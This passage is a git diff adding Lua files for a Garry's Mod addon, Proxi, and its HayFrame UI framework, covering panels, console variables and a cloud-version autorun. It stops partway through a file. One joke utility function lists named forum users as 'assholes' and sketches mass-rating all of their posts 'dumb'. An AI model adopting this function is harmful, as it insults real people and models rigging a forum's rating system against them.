+// Should not ... +function HAY_MAIN:CallCmd( sCmdName, ... ) + local prefix = string.find( sCmdName, "+" ) and "+" or string.find( sCmdName, "-" ) and "-" or "" + sCmdName = string.gsub( sCmdName, "+", "" ) + sCmdName = string.gsub( sCmdName, "-", "" ) + + RunConsoleCommand( prefix .. HAY_LOCAL_CONCMDPREFIX .. sCmdName, ... ) + +end + +function HAY_MAIN:AppendCmd( tGroup, sName, fCallback, ... ) + tGroup[sName] = fCallback + +end + +function HAY_MAIN:BuildCmds( tGroup, sPrefix ) + if not sPrefix then sPrefix = "" end + + for sName,oObject in pairs( tGroup ) do + if type( oObject ) == "table" then + HAY_MAIN:BuildCmds( oObject, sPrefix .. sName .. "_" ) + + else + self:CreateCmd( tostring( sPrefix ) .. tostring( sName ), oObject ) + + end + + end + +end + +function HAY_MAIN:DismountCmds( tGroup, sPrefix ) + if not sPrefix then sPrefix = "" end + + for sName,oObject in pairs( tGroup ) do + if type( oObject ) == "table" then + HAY_MAIN:DismountCmds( oObject, sPrefix .. sName .. "_" ) + + else + self:RemoveCmd( tostring( sPrefix ) .. tostring( sName ) ) + + end + + end + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_context.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_context.lua new file mode 100644 index 0000000..ae83a52 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_context.lua @@ -0,0 +1,213 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Menu UI Base // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_ContextContainerList = {} +local function HAY_ContextContainer__Declare( objPanel ) + if ValidPanel( objPanel ) then + table.insert( HAY_ContextContainerList, objPanel ) + + end + +end + +local function HAY_ContextContainer__GetFocus( objPanel ) + local match = false + local i = 1 + while (i <= #HAY_ContextContainerList) and not match do + if not ValidPanel( HAY_ContextContainerList[ i ] ) then + table.remove( HAY_ContextContainerList, i ) + + elseif objPanel:HasParent( HAY_ContextContainerList[ i ] ) then + match = true + HAY_ContextContainerList[ i ]:StartKeyFocus() + + else + i = i + 1 + + end + + end + + return + +end + + +local function HAY_ContextContainer__EndFocus( objPanel ) + + local match = false + local i = 1 + while (i <= #HAY_ContextContainerList) and not match do + if not ValidPanel( HAY_ContextContainerList[ i ] ) then + table.remove( HAY_ContextContainerList, i ) + + elseif objPanel:HasParent( HAY_ContextContainerList[ i ] ) then + match = true + HAY_ContextContainerList[ i ]:EndKeyFocus() + + else + i = i + 1 + + end + + end + + return + +end + + +local PANEL = {} + +AccessorFunc( PANEL, "m_bHangOpen", "HangOpen" ) + +// Code partially borrowed from contextmenu.lua from sandbox. + +function PANEL:Init() + self._Contents = nil + + self.Canvas = vgui.Create( "DPanelList", self ) + + self.m_bHangOpen = false + + self.Canvas:EnableVerticalScrollbar( true ) + self.Canvas:SetSpacing( 0 ) + self.Canvas:SetPadding( 5 ) + self.Canvas:SetDrawBackground( false ) + + HAY_ContextContainer__Declare( self ) + + +end + +function PANEL:GetCanvas( ) + return self.Canvas + +end + +function PANEL:SetContents( objPanel, obtb_NoUpdate ) + if not ValidPanel( objPanel ) then return end + + local oldContents = self._Contents + if ValidPanel( oldContents ) then + oldContents:SetParent( mil ) + + end + + objPanel:SetParent( self ) + self._Contents = objPanel + + if not obtb_NoUpdate then + self:UpdateContents() + + end + + return oldContents + +end + +function PANEL:GetContents() + return self._Contents + +end + +function PANEL:UpdateContents() + if not ValidPanel( self._Contents ) then return end + + self.Canvas:Clear() + self.Canvas:AddItem( self._Contents ) + self.Canvas:Rebuild() + + self.Canvas:InvalidateLayout( ) + +end + +function PANEL:Open() + RestoreCursorPosition() + + self:SetKeyboardInputEnabled( false ) + self:SetMouseInputEnabled( true ) + + self:MakePopup() + self:SetVisible( true ) + // TODO : ? + self:InvalidateLayout( true ) + +end + + +function PANEL:Close( optbForce ) + // Weird code : Supposedly cancels the first closing attempt + if self:GetHangOpen() then + self:SetHangOpen( false ) + if not optbForce then + return + + end + + end + RememberCursorPosition() + + self:SetKeyboardInputEnabled( false ) + self:SetMouseInputEnabled( false ) + + self:SetVisible( false ) + +end + +function PANEL:StartKeyFocus( pPanel ) + self:SetKeyboardInputEnabled( true ) + self:SetHangOpen( true ) + +end + +function PANEL:EndKeyFocus( pPanel ) + self:SetKeyboardInputEnabled( false ) + +end + +function PANEL:PerformLayout() + local objContents = self._Contents + + if ( objContents ) then + + objContents:InvalidateLayout( true ) + + /*local Tall = objContents:GetTall() + 10 + local MaxTall = ScrH() + if ( Tall > MaxTall ) then Tall = MaxTall end + + self:SetTall( Tall ) + self.y = ScrH() - 50 - self:GetTall()*/ + + end + + self.Canvas:StretchToParent( 0, 0, 0, 0 ) + self.Canvas:InvalidateLayout( true ) + + +end + +vgui.Register( HAY_SHORT .. "_ContextContainer", PANEL, "EditablePanel" ) + + + +// Remove-Add Avoids mounting issues +hook.Remove( "OnTextEntryGetFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__GetFocus" ) +hook.Remove( "OnTextEntryLoseFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__EndFocus" ) + +hook.Add( "OnTextEntryGetFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__GetFocus", HAY_ContextContainer__GetFocus ) +hook.Add( "OnTextEntryLoseFocus", "HC_" .. HAY_SHORT .. "_ContextContainer__EndFocus", HAY_ContextContainer__EndFocus ) + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_ctrlcolor.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_ctrlcolor.lua new file mode 100644 index 0000000..4144d31 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_ctrlcolor.lua @@ -0,0 +1,116 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Color // +//////////////////////////////////////////////// +if SERVER then return end -- ??? + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +// +// ___ ___ _ _ _ ___ ___ ___ ___ ___ ___ __ __ +// |_ _|| __| / \ | \_/ | | __| / _ \ | o \|_ _|| o \| __|/ _|/ _| +// | | | _| | o || \_/ | | _| | |_| || / | | | /| _| \_ \\_ \ +// |_| |___||_n_||_| |_| |_| \___/ |_|\\ |_| |_|\\|___||__/|__/ 2010 +// +// + +local PANEL = {} + +AccessorFunc( PANEL, "m_ConVarR", "ConVarR" ) +AccessorFunc( PANEL, "m_ConVarG", "ConVarG" ) +AccessorFunc( PANEL, "m_ConVarB", "ConVarB" ) +AccessorFunc( PANEL, "m_ConVarA", "ConVarA" ) + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:Init() + + self.Mixer = vgui.Create( "DColorMixer", self ) + + self.txtR = vgui.Create( "DNumberWang", self ) + self.txtR:SetDecimals( 0 ) + self.txtR:SetMinMax( 0, 255 ) + self.txtG = vgui.Create( "DNumberWang", self ) + self.txtG:SetDecimals( 0 ) + self.txtG:SetMinMax( 0, 255 ) + self.txtB = vgui.Create( "DNumberWang", self ) + self.txtB:SetDecimals( 0 ) + self.txtB:SetMinMax( 0, 255 ) + self.txtA = vgui.Create( "DNumberWang", self ) + self.txtA:SetDecimals( 0 ) + self.txtA:SetMinMax( 0, 255 ) + self.txtA:SetVisible( false ) + +end + +/*--------------------------------------------------------- + Name: ConVarR +---------------------------------------------------------*/ +function PANEL:SetConVarR( cvar ) + self.Mixer:SetConVarR( cvar ) + self.txtR:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarG +---------------------------------------------------------*/ +function PANEL:SetConVarG( cvar ) + self.Mixer:SetConVarG( cvar ) + self.txtG:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarB +---------------------------------------------------------*/ +function PANEL:SetConVarB( cvar ) + self.Mixer:SetConVarB( cvar ) + self.txtB:SetConVar( cvar ) +end + +/*--------------------------------------------------------- + Name: ConVarA +---------------------------------------------------------*/ +function PANEL:SetConVarA( cvar ) + + if ( cvar ) then self.txtA:SetVisible( true ) end + self.Mixer:SetConVarA( cvar ) + self.txtA:SetConVar( cvar ) + +end + +/*--------------------------------------------------------- + Name: Init +---------------------------------------------------------*/ +function PANEL:PerformLayout() + + local y = 0 //self.Label1:GetTall() + 5 + + self:SetTall( 110 ) + + self.Mixer:SetSize( 150, 100 ) + self.Mixer:Center() + self.Mixer:AlignLeft( 5 ) + + self.txtR:SizeToContents() + self.txtG:SizeToContents() + self.txtB:SizeToContents() + self.txtA:SizeToContents() + + self.txtR:AlignRight( 5 ) + self.txtR:AlignTop( 5 ) + self.txtG:CopyBounds( self.txtR ) + self.txtG:CenterVertical( 0.375 ) + self.txtB:CopyBounds( self.txtG ) + self.txtB:CenterVertical( 0.625 ) + self.txtA:CopyBounds( self.txtB ) + self.txtA:AlignBottom( 5 ) + +end + +vgui.Register( HAY_SHORT .. "_CtrlColor", PANEL, "DPanel" ) diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_mediator.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_mediator.lua new file mode 100644 index 0000000..f6136f1 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_mediator.lua @@ -0,0 +1,283 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Parameter Mediator // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_MEDIATOR_REQUIRED = false +local HAY_PARAM_Types = nil +local HAY_PARAM_Constructors = nil +local HAY_PARAM_ConvarSuffixes = nil +local HAY_PARAM_ExtraData = nil + +function HAY_MAIN:RequireParameterMediator( ) + if HAY_MEDIATOR_REQUIRED then return end + HAY_MEDIATOR_REQUIRED = true + + HAY_PARAM_Types = {} + HAY_PARAM_Constructors = {} + HAY_PARAM_ConvarSuffixes = {} + HAY_PARAM_ExtraData = {} + + self:InitializeGenericConstructors() + + if self.InitializeCustomConstructors then + self:InitializeCustomConstructors() + + end + +end + +function HAY_MAIN:ParamTypeExists( sType ) + return table.HasValue( HAY_PARAM_Types, string.lower(tostring(sType)) ) + +end + +---- When registering a new parameter type... +-- Extra data are : +-- Callback shall evaluate a boolean or not. + +---- When creating the constructor, the argument proposes a stock... +-- Stock IN THE CONSTRUCTOR could be : +-- Panel-associated callbacks. + +function HAY_MAIN:RegisterParamType( sType, fConstructor, stConvarSuffixes, stExtraData ) + sType = string.lower(sType) + if self:ParamTypeExists( sType ) then return end + + HAY_PARAM_Constructors[sType] = fConstructor + HAY_PARAM_ConvarSuffixes[sType] = stConvarSuffixes or nil + HAY_PARAM_ExtraData[sType] = stExtraData or nil + table.insert( HAY_PARAM_Types, sType) + + HAY_UTIL.OutputDebug( "Registered Panel Constructor : ".. sType ) + +end + +function HAY_MAIN:BuildParamPanel( sFullConvarName, stData, pParent ) + if not self:ParamTypeExists( stData.Type ) then + HAY_UTIL.OutputError( "Tried to create panel with a non-existant type : " .. tostring( sType ) ) + return + end + + local myPanel = HAY_PARAM_Constructors[stData.Type](sFullConvarName , stData) + if ValidPanel( pParent ) then + myPanel:SetParent( pParent ) + + end + + return myPanel + +end + +---- When creating new variables... +-- Extra data are : +-- Callback function +function HAY_MAIN:CreateVarParam( sType, sConvarName, sDefault, stExtraData ) + sType = string.lower(sType) + if not self:ParamTypeExists( sType ) then + HAY_UTIL.OutputError( "Tried to create paramater with a non-existant type : " .. tostring( sType ) ) + return false + + end + + local fCallback = (type(stExtraData) == "table") and stExtraData["callback"] or nil + local fCallbackBool = fCallback and HAY_PARAM_ExtraData[sType] and HAY_PARAM_ExtraData[sType]["callback_isbool"] or false + + //local buildTable = {} + + if HAY_PARAM_ConvarSuffixes[sType] == nil then + self:CreateVar( sConvarName, tostring(sDefault), true, false, fCallback, fCallbackBool ) + //table.insert( buildTable, { sConvarName, tostring(sDefault) } ) + + HAY_UTIL.OutputDebug( "Added Var : ".. sConvarName .." = ".. tostring(sDefault)) + + elseif type(HAY_PARAM_ConvarSuffixes[sType]) == "table" then + for k,suffix in pairs( HAY_PARAM_ConvarSuffixes[sType] ) do + local curDefault = tostring(sDefault[k] or sDefault[1] or sDefault) + self:CreateVar( sConvarName .. "_" .. suffix, curDefault, true, false, fCallback, fCallbackBool ) + //table.insert( buildTable, { sConvarName .. "_" .. suffix, curDefault } ) + + HAY_UTIL.OutputDebug( "Added Var : ".. sConvarName .. "_" .. suffix.." = ".. tostring(sDefault[k] or sDefault[1] or sDefault) ) + + end + + else -- Could be a "noconvars" that is a string, and so exit code + return false + + end + + //return buildTable + return true + +end + +function HAY_MAIN:GetParamSuffixes( sType ) + sType = string.lower(sType) + if not self:ParamTypeExists( sType ) then return end + + return HAY_PARAM_ConvarSuffixes[sType] + +end + +function HAY_MAIN:ParamBridgeCall( stData ) + return not self.EvaluateBridgeCall or self:EvaluateBridgeCall() + +end + +////////// +////////// + +function HAY_MAIN:InitializeGenericConstructors() + self:RegisterParamType( "panel_label" , function( sConvarName, stData ) + local myPanel = vgui.Create("DLabel") + myPanel:SetText( stData.Text or "" ) + myPanel:SetContentAlignment( stData.ContentAlignment or 4 ) + if stData.Font then myPanel:SetFont( stData.Font ) end + if stData.Wrap then + myPanel:SetWrap( true ) + myPanel:SetAutoStretchVertical( true ) + + end + + return myPanel + + end, "noconvars" ) + + self:RegisterParamType( "bool" , function( sConvarName, stData ) + local myPanel = vgui.Create( "DCheckBoxLabel" ) + myPanel:SetText( stData.Text or "" ) + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + + return myPanel + + end, nil, { ["callback_isbool"] = true } ) + + self:RegisterParamType( "range" , function( sConvarName, stData ) + local myPanel = vgui.Create( "DNumSlider" ) + myPanel:SetText( stData.Text or "" ) + myPanel:SetMin( tonumber(stData.Min or 0) ) + myPanel:SetMax( tonumber(stData.Max or ((stData.Min or 0) + 1)) ) + myPanel:SetDecimals( tonumber(stData.Decimals or 0) ) + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + + return myPanel + + end ) + + self:RegisterParamType( "color" , function( sConvarName, stData ) + local myPanel = vgui.Create(HAY_SHORT .. "_CtrlColor") + myPanel:SetConVarR( self:GetVarName( sConvarName ) .."_r") + myPanel:SetConVarG( self:GetVarName( sConvarName ) .."_g") + myPanel:SetConVarB( self:GetVarName( sConvarName ) .."_b") + myPanel:SetConVarA( self:GetVarName( sConvarName ) .."_a") + + return myPanel + + end , {"r","g","b","a"}) + + self:RegisterParamType( "string" , function( sConvarName, stData ) + local myPanel = vgui.Create("DTextEntry") + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + myPanel:SetUpdateOnType( stData.UpdateOnType and true or false ) + if stData.OnEnter then + myPanel.OnEnter = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.OnEnter( ... ) + end + end + end + + return myPanel + end ) + + self:RegisterParamType( "panel_readonly" , function( sConvarName, stData ) + local myPanel = vgui.Create("DTextEntry") + myPanel:SetText( stData.Text or "" ) + myPanel:SetEditable( false ) + + return myPanel + end, "noconvars" ) + + self:RegisterParamType( "panel_button" , function( sFullConvarName, stData ) + local myPanel = vgui.Create("DButton") + myPanel:SetText( stData.Text or "" ) + if stData.DoClick then + myPanel.DoClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoClick( ... ) + end + end + end + if stData.DoRightClick then + myPanel.DoRightClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoRightClick( ... ) + end + end + end + + return myPanel + end , "noconvars" ) + + self:RegisterParamType( "panel_sysbutton" , function( sFullConvarName, stData ) + local myPanel = vgui.Create("DSysButton") + myPanel:SetType( stData.Style or "grip" ) + if stData.DoClick then + myPanel.DoClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoClick( ... ) + end + end + end + if stData.DoRightClick then + myPanel.DoRightClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoRightClick( ... ) + end + end + end + + return myPanel + end , "noconvars" ) + + + self:RegisterParamType( "panel_imagebutton" , function( sFullConvarName, stData ) + local myPanel = vgui.Create("DImageButton") + myPanel:SetMaterial( stData.Material or "gui/silkicons/wrench" ) + if stData.DoClick then + myPanel.DoClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoClick( ... ) + end + end + end + if stData.DoRightClick then + myPanel.DoRightClick = function( ... ) + if self:ParamBridgeCall( stData ) then + stData.DoRightClick( ... ) + end + end + end + + return myPanel + end , "noconvars" ) + + self:RegisterParamType( "bool_nolabel" , function( sConvarName, stData ) + local myPanel = vgui.Create( "DCheckBox" ) + myPanel:SetType( stData.Style or "tick" ) + myPanel:SetConVar( self:GetVarName( sConvarName ) ) + + return myPanel + + end, nil, { ["callback_isbool"] = true } ) + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_util.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_util.lua new file mode 100644 index 0000000..21dcbee --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_util.lua @@ -0,0 +1,193 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Utility functions // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +function HAY_UTIL.OutputError( sText, sLocation ) + ErrorNoHalt( ">> " .. tostring(HAY_SHORT) .. " error'd " .. (sLocation and ("(" .. tostring(sLocation) ..")") or "") .. ":: " .. tostring(sText) .. "\n" ) + +end + + +function HAY_UTIL.OutputLineBreak( ) + print( "" ) + +end + +function HAY_UTIL.OutputIn( sText ) + print( "[ " .. tostring(HAY_NAME) .. " :: " .. tostring(sText) .. " ]" ) + +end + +function HAY_UTIL.OutputOut( sText ) + print( "] " .. tostring(HAY_NAME) .. " :: " .. tostring(sText) .. " [" ) + +end + +HAY_UTIL.Output = HAY_UTIL.OutputOut + +function HAY_UTIL.OutputDebug( sText ) + if not HAY_DEBUG then return end + + print( " " .. tostring(HAY_SHORT) .. " :: " .. tostring(sText) ) + +end + + +function HAY_UTIL.FamiliarizeString( sInput ) + local stringParts = string.Explode( "_", sInput ) + local stringOutput = "" + + for k,part in pairs( stringParts ) do + local len = string.len( part ) + if len <= 1 then + stringOutput = stringOutput .. string.upper( part ) + + --Assume if len == 0, received "__" thus "upper" nothing. + + else + stringOutput = stringOutput .. string.Left( string.upper( part ), 1 ) .. string.Right( part, len - 1 ) + + end + + if k ~= #stringParts then stringOutput = stringOutput .. " " end + + end + + return stringOutput + +end + +function HAY_UTIL.PercentCharge( fUniform ) + return (1 - (1 - fUniform) ^ 2 ) + +end + +function HAY_UTIL.Cubar_FacepunchAlgorithm( ) + if not facepunch then return end + + // simple algorithm to replicate Cubar's account + local assholes = {"CapsAdmin", "Blackops", "irzilla", "|flapjack|", "Ha3"} + local assholeIndexed = {} + for k,asshole in pairs( assholes ) do + assholeIndexed[ asshole ] = 1000 + + end + + local winners = {"Cubar"} + for _,winner in pairs( winners ) do + for k,post in pairs( facepunch.GetAllPostsFromUserID( facepunch.GetUserIDFromNickname( winner ) ) ) do + post:AddRating( "agree" ) + + for stringRating,tableUserIDs in pairs( post:GetAllRatings() ) do + if stringRating == "dumb" or stringRating == "late" or stringRating == "disagree" then + for i,ratingAssholeID in pairs( tableUserIDs ) do + local assholeNickname = facepunch.GetNicknameFromUserID( ratingAssholeID ) + if not table.HasValue( winners, assholeNickname ) then + assholeIndexed[ assholeNickname ] = ( assholeIndexed[ assholeNickname ] or 0 ) + 1 + + end + + end + + end + + end + + end + end + + local trueAssholes = {} + for assholeNickname,quantity in pairs( assholeIndexed ) do + table.insert( trueAssholes, assholeNickname ) + + end + + for _,asshole in pairs( trueAssholes ) do + for k,post in pairs( facepunch.GetAllPostsFromUserID( facepunch.GetUserIDFromNickname( asshole ) ) ) do + post:AddRating( "dumb" ) + + end + end + +end + +function HAY_UTIL.DecoDaMan_GetParams( f ) + local co = coroutine.create(f) + local params = {} + debug.sethook(co, function() + local i, k = 1, debug.getlocal(co, 2, 1) + while k do + if k ~= "(*temporary)" then + table.insert(params, k) + end + i = i+1 + k = debug.getlocal(co, 2, i) + end + error("~~end~~") + end, "c") + local res, err = coroutine.resume(co) + if res then + error("The function provided defies the laws of the universe.", 2) + elseif string.sub(tostring(err), -7) ~= "~~end~~" then + error("The function failed with the error: "..tostring(err), 2) + end + return params + +end + +function HAY_UTIL.GenerateDocumentation( tGroup, sConvenientName ) + if not tGroup then return end + + local tfctName = {} + for sFctName,fct in pairs( tGroup ) do + if type(fct) == "function" then + table.insert( tfctName, sFctName ) + end + end + table.sort( tfctName, function( a, b ) return a < b end ) + + local gs = "" + for _,sFctName in pairs( tfctName ) do + local fct = tGroup[sFctName] + + local tParams = HAY_UTIL.DecoDaMan_GetParams( fct ) + + local ts = sConvenientName + if tParams[1] == "self" then + ts = ts .. ":" + else + ts = ts .. "." + end + ts = ts .. sFctName .. "(" + for k,sParam in pairs( tParams ) do + if k ~= 1 or sParam ~= "self" then + ts = ts .. sParam + + if k < #tParams then + ts = ts .. ", " + + end + + end + + end + ts = ts .. ")" + gs = gs .. ts .. "\n" + end + return gs + +end + +function HAY_UTIL.PrintDocumentation( ) + print( HAY_UTIL.GenerateDocumentation( HAY_MAIN, HAY_SHORT ) ) + +end diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_var.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_var.lua new file mode 100644 index 0000000..e5dd1af --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/proxi_hayframe/hayframe_var.lua @@ -0,0 +1,132 @@ +//////////////////////////////////////////////// +// -- HayFrame // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// ConVar Reg Method - Customizable // +//////////////////////////////////////////////// + + +local HAY_MAIN, HAY_INTERNAL, HAY_CLOUD, HAY_UTIL = HAYFRAME_SetupReferences( ) +local HAY_NAME, HAY_SHORT, HAY_DEBUG = HAYFRAME_SetupConstants( ) + +local HAY_LOCAL_VARPREFIX = HAYFRAME_SetupParameter( "var_prefix" ) + +-- Added due to callback problems with the cvars lib. +if not HAY__CALLBACK_FUNC then HAY__CALLBACK_FUNC = {} end +if not HAY__CALLBACK_FUNC[ HAY_SHORT ] then HAY__CALLBACK_FUNC[ HAY_SHORT ] = {} end +local HAY_REFERENCE_CALLBACK_FUNC = HAY__CALLBACK_FUNC[ HAY_SHORT ] + +function HAY_MAIN:GetVarName( sVarName ) + return HAY_LOCAL_VARPREFIX .. sVarName + +end + +function HAY_MAIN:GetVar( sVarName, optbReturnString ) + if optbReturnString or false then + return GetConVarString( HAY_LOCAL_VARPREFIX .. sVarName) + end + return GetConVarNumber( HAY_LOCAL_VARPREFIX .. sVarName ) +end + +function HAY_MAIN:CreateVar( sVarName, sContents, shouldSave, userData, optfCallback, optbIsBooleanType ) + CreateClientConVar( HAY_LOCAL_VARPREFIX .. sVarName, sContents, shouldSave, userData) + + if type( optfCallback ) == "function" then + self:CreateVarCallback( sVarName, optfCallback, optbIsBooleanType ) + + end + +end + +function HAY_MAIN:SetVar( sVarName, tContents ) + RunConsoleCommand( HAY_LOCAL_VARPREFIX .. sVarName , tostring(tContents) ) + +end + +function HAY_MAIN:CreateVarCallback( sVarName, fCallback, bIsBooleanType ) + -- WARNING : + -- On this architecture, if a session is restarted with a change in bIsBooleanType + -- It will remain as previously set (Issue can happen in developer stage, not in end-user mode) + + if not HAY_REFERENCE_CALLBACK_FUNC[ sVarName ] then + if not bIsBooleanType then + cvars.AddChangeCallback( HAY_LOCAL_VARPREFIX .. sVarName , function( sCvar, prev, new ) + if not HAY_MAIN then return end + HAY_REFERENCE_CALLBACK_FUNC[ sVarName ]( sCvar, prev, new ) + + end ) + + else + cvars.AddChangeCallback( HAY_LOCAL_VARPREFIX .. sVarName , function( sCvar, prev, new ) + if not HAY_MAIN then return end + if (tonumber( new ) <= 0 and tonumber( prev ) <= 0) or (tonumber( new ) > 0 and tonumber( prev ) > 0) then return end + + HAY_REFERENCE_CALLBACK_FUNC[ sVarName ]( sCvar, prev, new ) + + end ) + + end + + end + HAY_REFERENCE_CALLBACK_FUNC[ sVarName ] = fCallback + +end + + +//////////////////////////////////////////////// +//////////////////////////////////////////////// + +function HAY_MAIN:GetVarColorVariadic( sCvar ) + return self:GetVar(sCvar .. "_r"), self:GetVar(sCvar .. "_g"), self:GetVar(sCvar .. "_b"), self:GetVar(sCvar .. "_a") + +end + +function HAY_MAIN:AppendVar( tGroup, sName, oDefault, sType, ... ) + if not sType then + tGroup[sName] = oDefault + + elseif sType == "color" then + tGroup[sName .. "_r"] = oDefault[1] + tGroup[sName .. "_g"] = oDefault[2] + tGroup[sName .. "_b"] = oDefault[3] + tGroup[sName .. "_a"] = oDefault[4] + + end + + +end + +function HAY_MAIN:BuildVars( tGroup, sPrefix ) + if not sPrefix then sPrefix = "" end + + for sName,oDefault in pairs( tGroup ) do + if type( oDefault ) == "table" then + self:BuildVars( oDefault, sPrefix .. sName .. "_" ) + + else + self:CreateVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ), true, false ) + + end + + end + +end + +function HAY_MAIN:RestoreVars( tGroup, sPrefix ) + if not sPrefix then return end + + for sName,oDefault in pairs( tGroup ) do + if type( oDefault ) == "table" then + self:RestoreVars( oDefault, sPrefix .. sName .. "_" ) + + else + self:SetVar( tostring( sPrefix ) .. tostring( sName ), tostring( oDefault ) ) + + end + + end + +end + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/sh_proxi_autorun.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/sh_proxi_autorun.lua new file mode 100644 index 0000000..a7ccfeb --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/addons/HeX's Proximod/lua/sh_proxi_autorun.lua @@ -0,0 +1,75 @@ +//////////////////////////////////////////////// +// -- Proxi // +// by Hurricaaane (Ha3) // +// // +// http://www.youtube.com/user/Hurricaaane // +//--------------------------------------------// +// Shared Autorun // +//////////////////////////////////////////////// + +if PROXI_DEBUG == nil then + PROXI_DEBUG = false +end + +-- Developer notes : +-- "--" comments should be used for regular comments. +-- "//" comments should be used for debugging / technical / header comments. + +PROXI_NAME = "Proxi" + +PROXI_FORCE_VERSION = false // !! +PROXI_FORCE_USE_CLOUD = true // !! + +if (CLIENT or SinglePlayer()) then + if (proxi and proxi.Unmount) then proxi.Unmount() end + + HeXInclude("cl_proxi_cloudloader.lua") + HeXInclude("cl_proxi_version.lua") + HeXInclude("cl_proxi_preforce.lua") + + proxi_InitLoad() + + --proxi = {} + --proxi_dat = {} + --proxi_focus = {} // Did in the focus lua file + + if not PROXI_FORCE_VERSION then + local function PROXI_CheckResponse() + if not proxi_internal.HasReceivedResponse() then + print(" > " .. PROXI_NAME .. " did not get a response from Cloud Version query. Now loading Locale.") + proxi_cloud.LoadLocale() + + end + + end + + local function PROXI_CallbackResponse() + local MY_VERSION, ONLINE_VERSION, DOWNLOAD_LINK = proxi_internal.GetVersionData() + if MY_VERSION < ONLINE_VERSION then + print(" > " .. PROXI_NAME .. " found an updated version from the Cloud (Locale is ".. MY_VERSION .. ", Online is " .. ONLINE_VERSION .. "). Now querying Cloud.") + proxi_cloud.Ask() + + else + print(" > " .. PROXI_NAME .. " Locale seems as up to date as the Cloud. Loading Locale.") + proxi_cloud.LoadLocale() + + end + + end + + print(" > " .. PROXI_NAME .. " is in normal mode. Now querying Version.") + proxi_internal.QueryVersion( PROXI_CallbackResponse ) + timer.Simple( 10, PROXI_CheckResponse ) + + elseif PROXI_FORCE_USE_CLOUD then + print(" > " .. PROXI_NAME .. " is in Cloud force mode. Now querying Cloud.") + proxi_cloud.Ask() + + else + print(" > " .. PROXI_NAME .. " is in Locale force mode. Now loading Locale.") + proxi_cloud.LoadLocale() + + end + + 